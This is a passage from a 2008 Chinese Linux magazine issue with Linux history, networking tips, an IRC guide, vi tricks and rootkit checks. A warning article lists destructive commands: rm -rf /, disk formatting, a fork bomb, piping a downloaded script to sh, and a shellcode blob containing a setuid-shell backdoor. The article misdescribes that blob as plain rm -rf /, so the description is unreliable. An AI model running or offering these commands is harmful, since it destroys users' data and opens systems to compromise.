对于 Linux 这个名字的由来,Linus 坦率地说:“我一开始并不想把它以 Linux 的名称发布出去,


因为那显得我太自我为中心了。那么我为最终发布起的名字是什么呢? Freax(Freaks 的变形,该词为
“异想天开”之意)。 事实上,在一些早期完成的文件中,即那些说明如何汇编源代码的文件中,有将
近半年的时间我一直使用 Freax 这个名称来指代这个操作系统。”

1991 年 9 月 17 日,他将 Linux 系统上传到了网上。版本号为 0.01,意思是离 1.0 版本还远着呢,


还有许多地方需要完善。突然间,人们纷纷从 Minix 转向 Linux。那时 Linux 尚不能胜任 Minix 的所


oss.linuxpk.com 源 2008 年第 12 期 56
知识学堂
有工作,但是它可以做人们需要的大部分的重要工作,并且它拥有一项人们特别喜欢的功能:有了
page-to-disk 就可以运行超过内存的巨大程序。当时,Linus 并没有向使用他的系统的人收费,因为
他觉得与收到的钱相比,更喜欢收到明信片。“我不仅仅是在与别人分享我的成果,别人也将会觉得我
的工作是有用的”。这就是 Linus 开放源代码的初衷,他并不想别人买下 Linux。

作为版权所有者,他定下了以下关于 Linux 的规则:

1.人们可以免费使用该操作系统,但不得将它作为商品。

2.对其所作的改动和改进,必须以源代码的形式将其公开(而不是二进制这种不公开的形式)。

3.如果不同意以上规定,则无权对它进行复制或从事任何行为。

变化发生在 1992 年春天。当第一个 X-Window 系统在 Linux 条件下运行时,Linus 开始着手进行


终端仿真。它意味着这个操作系统将有能力支持一个图形用户的界面,而用户也可以在多视窗条件下工
作。这个工作应该归功于麻省理工学院的 X 视窗项目(X Windowing Project)。它的完成带来一个很
大的改变。

到 1993 年末,Linus 和他的开发小组有了一个网络解决方案,尽管还很难让它正常工作。Linus


乐观地将新版本定名为 0.95 版,而不甚乐观的实际情况却将这种乐观变成了一种束缚,又花了将近两年
的时间 1.0 版才得以问世。在此期间,他们仍然需要不停地发布各种有关瑕疵修订和添加功能的新版本。
但在 0.95 和 1.0 之间,却没有那么多的数字可以作为序号。等到 0.99 也用过之后,只好在它后面加上
数字以简要表示附加的序列,接着又开始依靠字母来表示。比如 0.99 版第 15A 次后面紧接着 0.99 版第
15B 次,0.99 第 15Z 次是最后一个以此方式命名的版本,因为原本应该命名为 0.99 版第 16A 次的版本
正是已经完成了的 Linux 1.0 版。1994 年 5 月,新版本终于在赫尔辛基大学计算机科学系的礼堂里闪
亮登场。

四、Linux 推动开放软件运动
1995 年出现了各种各样的 Linux 的版本,并且商业性的 Linux 软件公司吸引了更多的追随者。此
时,一个波士顿的投机分子将 Linux 登记为注册商标了。不仅如此,他还向《Linux 杂志》和其它一些
Linux 商业软件公司发出了电子邮件,要求这些机构将他们收入的 5%作为提成支付给他。 当 Linus 听
到这个消息时,感到一阵刺痛。 Linux 社区的所有人都想要将注册商标夺回来。最终, Linus 成了
Linux 注册商标的所有人。

作为 Linux 商标的持有人和 Linux 系统的核心支持者,Linus 体会到一种与日俱增的责任感。“


我深感与日俱增的责任来自于这样一个事实:成千上万的人如今正依赖着 Linux,并且,巨大的压力使
得尽可能令人依赖的工作变得确定无疑。对我来说,重要的是协助公司来理解开放源代码究竟意味着什
么。”


oss.linuxpk.com 源 2008 年第 12 期 57
知识学堂
开放源代码在 1998 年吸引了全世界的目光,最大争议之一就在于其名字本身。在此之前,已有了诸
如 GPL 所 许 可 的 “ 自 由 软 件 ” 。 这 一 用 法 源 于 “ 自 由 软 件 基 金 会 ” ( Free Software
Foundation),该基金会由 Richard Stallman 于 1985 年为促进自由软件工程而创立,比如 GUN
和由他发起的自由 Uinx(Free Unix)。最终 Linus 和他的小组达成了一致意见:“比起‘free’来,
我们更愿意使用‘open’(开放)一词。”从此,自由软件运动变成了开放软件运动。

很多人对 Linux 为什么使用企鹅作为风靡全球的形象标识很感兴趣。当时,Linus 要找出一个优雅


的、有亲和力的东西来做标识。他的妻子塔芙说:“我就想到了企鹅。Linus 在澳大利亚的时候曾被一
只动物园里的漂亮企鹅咬了一口。他喜欢逗弄小动物,总是爱把手探出去。那些企鹅大概有一英尺高,
他刚好能把手探到笼子那儿摸着它们。他晃动着手指,扮成鱼的样子。企鹅被招了过来,咬了他一口:
咳,这口感可不像是鱼。他虽然挨了企鹅的咬,可还是喜欢它们。我觉得他这辈子跟企鹅是没完了,只
要一有机会,他就非去看企鹅不可。所以,当他在为找个标识而大伤脑筋的时候,我就提醒他:‘你这
么喜欢企鹅,为什么不用企鹅来做标识呢?’”然后,Linus 开始在网上征集企鹅的图片。他选中的是
德克萨斯 A&M 大学科学与计算机系里的一位画家的图片。

Linux 给大众带来了巨大的好处。年轻一代中许多年轻人都在使用 Linux 产品,正是 Linux 才激


起了这一代人的狂热。有一个很明显的现象是,无论是开放源代码的理念,还是 Linux 操作系统都在各
大学里赢得了最广泛的支持。

Linux 正在世界各地茁壮成长,全世界的各个角落里有无数为 Linux 的发展而战的人,Linus 只是


其中的一个。他们在为 Linux 而战,在为开放软件而战。


oss.linuxpk.com 源 2008 年第 12 期 58
经验技巧

Linux 一句话精彩问答
——网络相关篇(二)
陈绪
《Linux 一句话精彩问答》是 Linux 初学者很好的入门文档,想必很多朋友当时都是边看该文档,边敲打
键盘,玩着 Linux 过来的。
该文档由本刊顾问陈绪主编,迄今已经收录近千个精彩问答。从本期开始将在桌面应用栏目进行连载,
希望能帮助到更多刚接触到 Linux 的朋友们。

2021 用什么工具做入侵检测
Snort

2022 Linux 下检测程序内存泄漏的工具


cchecker 或是 efence 库都可以

2023 linux 下如何监视所有通过本机网卡的数据


tcpdump 或者 iptraf

2024 为什么 root 执行好多命令都说 command not found


你是 telnet 上来,然后 su 成 root 的吧,改改你的 su 命令格式,应该是 su – root

2025 关闭用户的 POP3 权限


把 POP3 的端口关了就可以了。在文件/etc/services 中找到这一行 pop-3 110/tcp 把这一行
前加个'#',把它注释掉就可以了

2026 linux 下播放 flash 动画


linux 下播放 flash 动画用这个东西,不会造成浏览器的关闭(其他的插件不好用)

首先下载 flash 播放动画在 linux 的插件


http://www.macromedia.com/software/flash


oss.linuxpk.com 2008 年第 12 期 59

经验技巧
然后按照里面的说明文件一步步安装,之后重启浏览器妈即可 。

2027 锁定 wu-ftp 用户目录


编辑 ftpaccess 文件
restricted-uid *

这一句很重要,限制了 ftp 用户在自己的目录里

2028 服务器怎么不让 telnet


服务器上必须启动 telnet 服务 && 服务器的防火墙优先级应该设为低

2029 防止任何人使用 su 命令成为 root


1.vi /etc/pam.d/su

auth sufficient /lib/security/pam_rootok.so debug


auth required /lib/security/pam_wheel.so group=wheel

2.在/etc/pam.d/su 配置文件中定义了 wheel 组

2030 如何使 lynx 浏览器能够浏览中文网页


浏览简体中文网页就的修改如下设置

Save options to disk: [X]


Display and Character Set
Display character set : [Chinese________________________]
Assumed document character set(!): [iso-8859-1______]
CJK mode (!) : [ON_]

然后移到最下面的 Accept Changes 按下 Enter 保存就可以了

当然你的系统要支持简体中文才可以

2031 网卡激活了,却上不了网,怎么办
traceroute,看看到底是在那一块被阻住的。

1.ping 自己


oss.linuxpk.com 2008 年第 12 期 60

经验技巧
2.ping 网关
3.ping DNS
4.traceroute DNS

如果一切正常

nslookup www.sina.com.cn
ping sina 的 address
traceroute sina 的 address

基本上就可以知道结果了

2032 配置 samba,win2000 能访问,win98 不能访问


如果是 win98,必须要修改注册表:HKEY_LOCAL_MACHINE/system/correntcontrolset/

services/Vxd/VNETSUP 下建个 Dword 值:EnablePlainTextpasswd,键值 1

2033 如何得到网卡的 MAC 地址


arp -a | awk '{print $4}'
ifconfig eth0 | head -1 | awk '{print $5}'

2034 如何得到网卡的 IP 地址
ifconfig eth0 |awk '/inet addr/ {split($2,x,":");print x[2]}'

2035 如何修改 Linux 机器所在的工作组


vi /etc/samba/smb.conf,修改 workgroup = 一行,将组名写在后面

2036 一块网卡如何绑定两个 ip
#cd /etc/sysconfig/network-scripts
#cp ifcfg-eth0 ifcfg-eth0:1
#vi ifcfg-eth0:1

修改 IP 和设备名

Debian 下一个网卡绑定多个 ip 的方法

修改/etc/network/interfaces

auto eth0


oss.linuxpk.com 2008 年第 12 期 61

经验技巧
iface eth0 inet static
address 172.16.3.123
netmask 255.255.255.0
network 172.16.3.0
broadcast 172.16.3.255
gateway 172.16.3.1
auto eth0:1
iface eth0:1 inet static
address 10.16.3.123
netmask 255.255.0.0
network 10.16.0.0
broadcast 10.16.255.255

修改/etc/network/ifstate

lo=lo
eth0=eth0
eth0:1=eth0:1

然后/etc/init.d/networking restart 就可以了。

一个网卡绑定多 ip 另一法

在/etc/sysconfig/network-scripts/下创建一个文件:ifcfg-ethX-rangeX ("X"为网
卡号)

文件内容:

IPADDR_START=<start ip>
IPADDR_END=<end ip>
CLONENUM=0

可以有 256 个 ip

2037 一个 ip 如何绑定两块网卡
假设 192.168.0.88 是 ip,192.168.0.1 是网关:

/sbin/modprobe bonding miimon=100 mode=1


/sbin/ifdown eth0
/sbin/ifdown eth1
/sbin/ifconfig bond0 192.168.0.88
/sbin/ifenslave bond0 eth0 eth1


oss.linuxpk.com 2008 年第 12 期 62

经验技巧
/sbin/route add default gw 192.168.0.1

2038 192.168.1.0/24
它与 192.168.1.0/255.255.255.0 是等价的,只是表示方式不同....

2039 linux 下清空 arp 表的命令


#arp -d -a(适用于 bsd)

for HOST in `arp | sed '/Address/d' | awk '{ print $1}'` ; do arp -d $HOST; done

2040 使用 ntp 协议从服务器同步时间


ntpdate NTP-SERVER 例:ntpdate 172.16.2.1

简明 IRC 使用入门
ghosTM55
Linux 下可以使用的即时通讯协议不少,例如 MSN,GTALK,AIM,ICQ 等,都可以通过优秀的 IM 集
成软件 PIDGIN 或是 KOPETE 等同时登录,这些不是本文要讨论的对象,本文要介绍的,是历史悠久的
IRC。

IRC 是由多个 IRC 服务器集合在一起的,提供频道聊天功能的一个聊天软件(完全是自己的理解,


可能不是很官方),只要链接到互联网,人们就可以在各种感兴趣的频道里畅聊了。在热门的频道里,
往往有上百甚至上千个网友同时和你在一个频道里谈天说地。

之所以要强烈推荐 IRC,是因为在这里,你可以认识更多珍惜时间的,热衷于探讨技术的人。好处
就不想一一列举了,简单说一下如何使用。

在 GNOME 环境下,XCHAT 是常用的 IRC 客户端,而 KONVERSATION 则是 KDE 下的,本文以 XCHAT


作为讲解范例。什么客户端并不重要,IRC 里的命令都是一样的,当然,图形界面的客户端会提供更多
的傻瓜化的功能,比如按下几个按钮,就可以进入某个频道,等等。而效率最高的,还是命令。IRC 有
很多命令,不用怕,常用的不会超过 10 个,当你学会使用 IRC 后,唯一要做的就是不要沉迷于其中,因
为每时每刻都有人在聊天。

废话不多说了,简单讲下如何使用 IRC。


oss.linuxpk.com 2008 年第 12 期 63

经验技巧
首先,下载 XCHAT 这个软件,各大发行版本的源里都有 XCHAT,使用各自的下载工具进行下载。

然后,进入 XCHAT,会弹出选择 IRC 服务器的对话框,一般来说,FREENODE 是最为常用的服务器,


许多大的频道都在这里,选择 FREENODE(irc.freenode.net),然后是更改昵称,以及用户的相关信
息,修改好后,链接。

链接上后,就可以加入频道进行聊天了,图形化的 IRC 具有界面友好的频道搜索功能,一般来说,


如果你清楚你想要的进入的是哪个频道,那么就直接通过:

/join #channel

来加入频道,加入后,就可以开始正式聊天了。

如果这个时候,你发现你的昵称已经被别人使用,比如频道中已经有人叫 linux 了,那么你的昵称


将会是 linux_,通过

/nick nickname

可以手动修改你的昵称。

就这么简单,这个时候你已经可以开始使用 IRC,和别人自由畅快的聊你感兴趣的问题了,加入频
道后,一句 hi all 是友好的打招呼的方式。

通过注册你的昵称:

/msg nickserv register

可以享受到更多 IRC 的服务,比如私聊,传送文件,等等。


oss.linuxpk.com 2008 年第 12 期 64

经验技巧
在每次登录到 IRC 的服务器后,可以通过:

/ns id passwd

来增加你当前用户的权限,使用私聊等功能。

好了,要介绍就这么多,是不是很简单呢?下面介绍一些资源:

频道(freenode):

#ubuntu-cn ubuntu 中文频道

频道(OFTC):

#arch-cn ArchLinux 中文频道

软件:

XCHAT(GNOME)
KONVERSATION(KDE)

CHATZILLA(FIREFOX 插件)

7 个极具杀伤性的 Linux 命令
如果使用 Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还
是会对你的系统造成严重影响。

有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的
余地。

1. Code:
rm -rf /

这个很简单,根目录会被擦光。

2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"


oss.linuxpk.com 2008 年第 12 期 65

经验技巧
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

没看懂?呵呵,其实就是 16 进制的[rm -rf /]。

3. Code:
mkfs.ext3 /dev/sda

抹盘行为无疑是危险的。

4. Code:
:(){:|:&};:

这不是 90 后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机。

5. Code:
any_command > /dev/sda

这个命令将会写入大量的 RAW 数据,可以导致数据丢失。

6. Code:
wget http://some_untrusted_source -O- | sh

和 Windows 一样,千万不要乱下载未经证实安全性的源,这年头 Linux 和胡萝卜一样,也不会保险。

7. Code:
mv /home/yourhomedirectory/* /dev/null

这条命令无疑会让系统抓狂,你的主目录会再也看不到。


oss.linuxpk.com 2008 年第 12 期 66

经验技巧

定制 Linux 系统环境变量
余海发
Linux 是一个多用户的操作系统。每个用户登录系统后,都会有一个专用的运行环境。通常每个用
户默认的环境都是相同的,这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境
进行定制,其方法就是修改相应的系统环境变量。

一、常见的环境变量
对于 PATH 和 HOME 等环境变量大家都不陌生。除此之外,还有下面一些常见环境变量。

◆ HISTSIZE 是指保存历史命令记录的条数。
◆ LOGNAME 是指当前用户的登录名。
◆ HOSTNAME 是指主机的名称,许多应用程序如果要用到主机名的话,通常是从这个环境变量中来
取得的。
◆ SHELL 是指当前用户用的是哪种 Shell。
◆ LANG/LANGUGE 是和语言相关的环境变量,使用多种语言的用户可以修改此环境变量。
◆ MAIL 是指当前用户的邮件存放目录。
◆ PS1 是基本提示符,对于 root 用户是#,对于普通用户是$。PS2 是附属提示符,默认是“>”。
可以通过修改此环境变量来修改当前的命令符,比如下列命令会将提示符修改成字符串“ Hello,My
NewPrompt :) ”。
# PS1=" Hello,My NewPrompt :) "
Hello,My NewPrompt :)

除了这些常见的环境变量,许多应用程序在安装时也会增加一些环境变量,比如使用 Java 就要设置


JAVA_HOME 和 CLASSPATH 等,而安装五笔输入法会增加环境变量"XMODIFIERS=@im=fcitx"等。

二、定制环境变量
环境变量是和 Shell 紧密相关的,用户登录系统后就启动了一个 Shell。对于 Linux 来说一般是
bash,但也可以重新设定或切换到其它的 Shell。环境变量是通过 Shell 命令来设置的,设置好的环
境变量又可以被所有当前用户所运行的程序所使用。对于 bash 这个 Shell 程序来说,可以通过变量名
来访问相应的环境变量,通过 export 来设置环境变量。下面通过几个实例来说明。


oss.linuxpk.com 2008 年第 12 期 67

经验技巧
1. 显示环境变量 HOME
$ echo $HOME
/home/terry

2. 设置一个新的环境变量 WELCOME
$ export WELCOME="Hello!"
$ echo $WELCOME
Hello!

3. 使用 env 命令显示所有的环境变量
$ env
HOSTNAME=terry.mykms.org
PVM_RSH=/usr/bin/rsh
SHELL=/bin/bash
TERM=xterm
HISTSIZE=1000
...

4. 使用 set 命令显示所有本地定义的 Shell 变量


$ set
BASH=/bin/bash
BASH_VERSINFO=([0]="2" [1]="05b" [2]="0" [3]="1" [4]="release" [5]="i386-redhat-
linux-gnu")
BASH_VERSION='2.05b.0(1)-release'
COLORS=/etc/DIR_COLORS.xterm
COLUMNS=80
DIRSTACK=()
DISPLAY=:0.0
...

5. 使用 unset 命令来清除环境变量
set 可以设置某个环境变量的值。清除环境变量的值用 unset 命令。如果未指定值,则该变量值将
被设为 NULL。示例如下:

$ export TEST="Test..." #增加一个环境变量 TEST


$ env|grep TEST #此命令有输入,证明环境变量 TEST 已经存在了
TEST=Test...
$ unset $TEST #删除环境变量 TEST
$ env|grep TEST #此命令没有输出,证明环境变量 TEST 已经存在了


oss.linuxpk.com 2008 年第 12 期 68

经验技巧
6. 使用 readonly 命令设置只读变量
如果使用了 readonly 命令的话,变量就不可以被修改或清除了。示例如下:

$ export TEST="Test..." #增加一个环境变量 TEST


$ readonly TEST #将环境变量 TEST 设为只读
$ unset TEST #会发现此变量不能被删除
-bash: unset: TEST: cannot unset: readonly variable
$ TEST="New" #会发现此也变量不能被修改
-bash: TEST: readonly variable

7. 用 C 程序来访问和设置环境变量
对于 C 程序的用户来说,可以使用下列三个函数来设置或访问一个环境变量。

◆ getenv()访问一个环境变量。输入参数是需要访问的变量名字,返回值是一个字符串。如果所访
问的环境变量不存在,则会返回 NULL。

◆ setenv()在程序里面设置某个环境变量的函数。

◆ unsetenv()清除某个特定的环境变量的函数。

另外,还有一个指针变量 environ,它指向的是包含所有的环境变量的一个列表。下面的程序可以
打印出当前运行环境里面的所有环境变量:

#include <stdio.h>
extern char**environ;
int main ()
{
char**var;
for (var = environ;*var != NULL;++var)
printf ("%s \n ",*var);
return 0;
}

还可以通过修改一些相关的环境定义文件来修改环境变量,比如对于 Red Hat 等 Linux 发行版本,


与环境相关的文件有/etc/profile 和~/.bashrc 等。修改完毕后重新登录一次就生效了。


oss.linuxpk.com 2008 年第 12 期 69

经验技巧

善用 Vi 编辑器
大余
vi 是类 Unix 操作系统中使用极为广泛的文本编辑器之一。无论是 Unix、Solaris 或 Linux 都默
认提供这个工具。可以说只要熟悉了 vi,在任何一种类 Unix 的操作系统平台上都可以自如地进行文本
编辑。关于 vi 的基本用法的资料有很多,本文的目的不是重复这些基本的用法,而是想给初步掌握 vi
基本用法的人提供一些实用技巧,使之能更快捷、高效地利用 vi 编辑文件。

vi 有命令模式和插入模式之分。vi 启动后就处于命令模式。在命令模式下,可以随意移动光标、进
行复制和粘贴文本等操作。利用“a”、“i”、“c”、“C”、“O”和“o”等命令可以从命令模式切换到
插入模式。在插入模式下,可以输入文本,按 Esc 键切换回命令模式。为了区别不同模式下的命令,本
文在介绍时会注明是何种模式下的操作。

另外,本文的所有操作都是在 Red Hat 9.0 所带的 vim 中进行。本文介绍的各种技巧多数在各种


vi 版本中也都是可行的。

一、加密和解密

 加密和解密文件

在命令模式输入“:X”命令,接着输入密码、确认输入密码,最后输入“:wq”命令保存退出。文件
就已经被加密了。

经过上面方法加密后的文件变成密文文件。要阅读原来的明文,则在打开文件后,会提示用户输入
密码。如果密码输入正确,就能看到原来的明文。另外可以看到,在最后的状态行上有此文件已被加密
的提示。

 取消加密

取消加密的方法很简单。在命令模式输入“:X”命令,首先会提示输入密码,这时直接敲回车键。接
下来在提示重复输入密码时也直接敲回车键,最后输入“:wq”命令保存退出。这样文件的加密就被取消
了。

注意,以上加密方法是运行在 Red Hat Linux 9.0 上的 vim 中。在其它平台可能略有差异,请以


实际平台或版本的帮助为准。


oss.linuxpk.com 2008 年第 12 期 70

经验技巧
二、替换操作
经常用到的一些简单替换命令有:

◆ s 将当前字符替换为一个或多个字符,例如 5 s 表示将从当前字符开始的 5 个字符替换为一个或


多个字符;

◆ S 将当前行替换为一个或多个字符;

◆ r 单个字符替换。

文本格式转换

将 DOS 格式文本转成 Unix 格式文本,命令如下:

:1,$s/^M//g

其中^M 是同时 Ctrl+V+M 按出来的,表示回车。

在行首尾添加字符串

用下列命令在文本每行的行首添加字符串“NewString”,请注意空格的存在。

:g/^/s//NewString/g
:%s/^/NewString/g

用下列命令在每行的行尾添加字符串“NewString”:

:g/$/s//NewString/g
:%s/$/NewString/g

从文本的第 3 行至最后一行的行首全部插入字符串“NewString”:

:3,$s/^/NewString/

在整个文件中替换

在整个文件中替换特定字符串,所用的命令如下:

:%s/old_string/new_string/g

如果仅将文件中的第 3 行到第 7 行中的“old_string”替换成“new_string”,那么使用下列命


令:

:3,7s/old_string/new_string/


oss.linuxpk.com 2008 年第 12 期 71

经验技巧
注意,其中“s”为表示替换动作,“%”表示所有行,“g”表示全文,“^”表示行首,“$”表示行
尾。

三、助力编程

语法加亮
在 vi 中编写程序,如果为了方便想开启语法加亮功能,只需在命令模式下输入“ :syntax on”即
可。同理可知,如果想关闭语法加亮功能,就在命令模式下输入“:syntax off”。

快速查看函数帮助
在用 vi 阅读和编写程序(主要是指 C 或 C++程序)时,如果需要了解某个函数的具体功能,可以将
光标移到该函数上,然后在命令模式下输入“K”,就可以调动“Linux Programmer's Manual”中对
此函数的 man 帮助。

标记定位
在阅读和编写大的程序文件时,利用标记(书签)功能定位是十分有帮助的。建议大家多多使用。
下面举个简单的例子进行说明。

首先打开一个源代码文件,将光标移到想做标记的位置。假如做一个名为“ debug1”的标记,那么
用户可在命令模式下输入做标记的命令“mdebug1”,然后敲入回车键,一个名为“debug1”的标记就
做好了。

接下来用户可以随意将光标移到其它的位置,当在命令模式下输入“ `debug1”后,就能快速回到
“debug1”的标记所在行的行首。

“ctags”命令
在阅读和编写 C 或 C++程序时,可用“ctags”命令对当前目录下的 C 源程序进行扫描。命令如下:

$ ctags *.c

上面一条命令将为当前目录下的.c 文件生成 tags 文件,然后使用“ta 函数名”命令来快速打开


相应函数所在文件,并将光标定位在对应函数的开头。


oss.linuxpk.com 2008 年第 12 期 72

经验技巧
自动对齐
在命令模式下使用“:set ai”命令可以让程序中各行自动对齐。

显示匹配
在编程中{}、[]、()常常是成对出现的,而且常常有多层的嵌套,很容易遗漏和失误。所以下面的
这个技巧非常有用。在命令模式下使用“:set sm”命令会在用户敲)、]、}时显示出对应匹配的{、[、
(来。

缩写文本
在编程中常常要输入一些重复且很长的信息,比如较长的名词和公司信息等,这时可以用 vi 的缩写
功能。它可以将一个很长的词用一个很短的缩写来代替。比如一个较长的 URL,可以给它一个缩写,在
命 令 模 式 下 使 用 “ :ab myurl http://www.mykms.org/kms/myproject/index.php?
id=0023”,然后在插入模式下输入“myurl”后,“myurl”就会自动变成刚才定义的那个长的 URL。
另外,在插入模式下输入“:una myurl”,则是取消“myurl”这个缩写。

set 选项
使用“:set”可以设置 vi 的环境变量。vi 的环境变量有很多。使用“:set all”可以显示所有环
境变量。使用“:set 变量名及参数”可以设置对应的环境变量。

下面的命令可显示行号:

:set number

下面的命令可将文件设为只读:

:set readonly

下面的命令使 vi 在“:n”和“:!”命令之前都自动保存文件:

:set autowrite

下面的命令显示用户处在什么模式下:

:set showmode

同理,“:set noshowmode”就是关闭此显示。

vi 环境变量还有很多。了解它们,将给用户使用 vi 带来更多方便。用户可以通过 vi 的联机帮助查


oss.linuxpk.com 2008 年第 12 期 73

经验技巧
到对应的环境变量的详细作用。

四、使用宏
vi 的宏提供了更强大的功能,用户可以根据自己的需要来定制自己的宏,然后通过宏来完成事先定
义好的一整套操作。用“map”来定义一个宏,用“unmap”来删除。在熟悉了 vi 的基本命令后,将这些
命令组合起来就能完成复杂的工作。如果再将这些命令的组合定义成宏的话,就可以方便用户经常性地
调用了。这是一个非常强大的功能,建议大家多多使用。

五、总结
vi 是类 Unix 操作系统上常用的缺省编辑器。了解了 vi,用户就能利用它高效地编辑文件。但是学习 vi 的过程
很长,因为它的功能很多。不过它确实是一个值得花时间来学习的工具。所谓“工欲善其事,必先利其器”,希
望大家都能学好 vi,善用这一文本编辑的利器。

判断 Linux 系统是否被黑的方法
俗称“脚本小鬼”的家伙是属于那种很糟糕的黑客,因为基本上他们中的许多和大多数人都是如此
的没有技巧。可以这样说,如果你安装了所有正确的补丁,拥有经过测试的防火墙,并且在多个级别都
激活了先进的入侵检测系统,那么只有在一种情况下你才会被黑,那就是,你太懒了以至没去做该做的
事情,例如,安装 BIND 的最新补丁。

一不留神而被黑确实让人感到为难,更严重的是某些脚本小鬼还会下载一些众所周知的“ root
kits”或者流行的刺探工具,这些都占用了你的 CPU,存储器,数据和带宽。这些坏人是从那里开始着
手的呢?这就要从 rootkit 开始说起。

一个 rootkit 其实就是一个软件包,黑客利用它来提供给自己对你的机器具有 root 级别的访问权


限。一旦这个黑客能够以 root 的身份访问你的机器,一切都完了。唯一可以做就是用最快的效率备份你
的数据,清理硬盘,然后重新安装操作系统。无论如何,一旦你的机器被某人接管了要想恢复并不是一
件轻而易举的事情。

一、你能信任你的 ps 命令吗?
找出 root kit 的首个窍门是运行 ps 命令。有可能对你来说一切都看来很正常,真正的问题是,“


oss.linuxpk.com 2008 年第 12 期 74

经验技巧
真的一切都正常吗?”黑客常用的一个诡计就是把 ps 命令替换掉,而这个替换上的 ps 将不会显示那些
正在你的机器上运行的非法程序。为了测试个,应该检查你的 ps 文件的大小,它通常位于 /bin/ps。
在我们的 Linux 机器里它大概有 60kB。我最近遇到一个被 root kit 替换的 ps 程序,这个东西只有大
约 12kB 的大小。

另一个明显的骗局是把 root 的命令历史记录文件链接到/dev/null。这个命令历史记录文件是用


来跟踪和记录一个用户在登录上一台 Linux 机器后所用过的命令的。黑客们把你的历史纪录文件重定向
到/dev/null 的目的在于使你不能看到他们曾经输入过的命令。

你可以通过在 shell 提示符下敲入 history 来访问你的历史记录文件。假如你发现自己 正在使用


history 命令,而它并没有出现在之前使用过的命令列表里,你要看一看你的 ~/.bash_history 文
件。假如这个文件是空的,就执行一个 ls -l ~/.bash_history 命令。在你执行了上述的命令后你
将看到类似以下的输出:

-rw------- 1 jd jd 13829 Oct 10 17:06 /home/jd/.bash_history

又或者,你可能会看到类似以下的输出:

lrwxrwxrwx 1 jd jd 9 Oct 10 19:40 /home/jd/.bash_history -> /dev/null

假如你看到的是第二种,就表明这个 .bash_history 文件已经被重定向到/dev/null。这是一


个致命的信息,现在就立即把你的机器从 Internet 上断掉,尽可能备份你的数据,并且开始重新安装
系统。

二、寻找未知的用户账号
在你打算对你的 Linux 机器做一次检测的时候,首先检查是否有未知的用户账号无疑是明智的。在
下一次你登录到你的 Linux 机器时,敲入以下的命令:

grep :x:0: /etc/passwd

只有一行,我再强调一遍,在一个标准的 Linux 安装里,grep 命令应该只返回一行,类似以下:

root:x:0:0:root:/root:/bin/bash

假如在敲入之前的 grep 命令后你的系统返回的结果不止一行,那可能就有问题了。应该只有一个用


户的 UID 为 0,而如果 grep 命令的返回结果超过一行,那就表示不止一个用户。

认真来说,虽然对于发现黑客行为,以上都是一些很好的基本方法。但这些技巧本身并不能构成足
够的安全性,而且其深度和广度和在文章头提到的入侵检测系统比起来也差得远。

我的建议是,假如你怀疑你的系统真的出了问题,打电话给一个 Linux 的安全专家,参考他的意见。


oss.linuxpk.com 2008 年第 12 期 75

经验技巧
毕竟 Linux 的安全不是一下子就可以弄好的。

Linux 操作系统下实现远程开机
实现远程开机的条件,要满足以下两条:首先,这个被远程开机的机器必需是在局域网内,并且你知
道这台机器的 MAC 地址;其次,你的网卡支持网络唤醒功能,当然,现在大部分网卡都是支持网络唤醒
的功能。检查你的网卡是否支持网络唤醒功能,只要在被远程开机的机器上执行 ethtool 命令,查看
该机器网卡是否支持网络唤醒功能。

# ethtool eth0
Settings for eth0:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Supports auto-negotiation: Yes
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Advertised auto-negotiation: Yes
Speed: 100Mb/s
Duplex: Full
Port: MII
PHYAD: 1
Transceiver: internal
Auto-negotiation: on
Supports Wake-on: pumbg
Wake-on: g [ 提示: g 表示已启动. d 表示禁用 ]
Current message level: 0×00000001 (1)
Link detected: yes

提示:以上命令,需要拥有 root 权限,否则会有以下错误:

$ /sbin/ethtool eth0
Settings for eth0:
Cannot get device settings: Operation not permitted
Cannot get wake-on-lan settings: Operation not permitted
Current message level: 0×000000ff (255)
Cannot get link status: Operation not permitted

如果网络唤醒功能被禁用,则需要用下面的命令启动网络唤醒功能:

# ethtool -s eth0 wol g

安装网络唤醒软件:

# apt-get install wakeonlan

获取远程机器网卡的物理地址:

# ifconfig


oss.linuxpk.com 2008 年第 12 期 76

经验技巧
eth0 Link encap:Ethernet HWaddr 00:16:k5:64:A9:68 [ Mac 地址 ]
inet addr:192.168.6.56 Bcast:192.168.6.255 Mask:255.255.255.0
inet6 addr: fe80::216:17ff:fe6b:289/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3179855 errors:0 dropped:0 overruns:0 frame:0
TX packets:2170162 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3832534893 (3.5 GB) TX bytes:390304845 (372.2 MB)
Interrupt:17

通过以下命令,实现远程开机:

# wakeonlan 00:16:k5:64:A9:68

五款在 Linux 下好用的 HTML 编缉器


现在要做一个网站已经不再以以前那么难了,通过一些功能强大的 HTML 编缉器,要设计一个网站已
经变得简单多了。在 Windows 下我们可以 Dreamweaver、Frontpage 等编缉器,但是在 Linux 下,
我们又可以用哪些软件来编缉 HMTL 呢?下面我就来介绍五款在 Linux 下好用的 HTML 编缉器。

一、Quanta Plus


oss.linuxpk.com 2008 年第 12 期 77

经验技巧
Quanta Plus 原名叫 Quanta,是一个 WEB 的集成开发环境(IDE),可以用于 HTML、XHTML、CSS
、XML、PHP 和其它基于 XML 的语言或者是脚本语言的开发。QuantaPlus 是一个 KDE 的软件,包含于
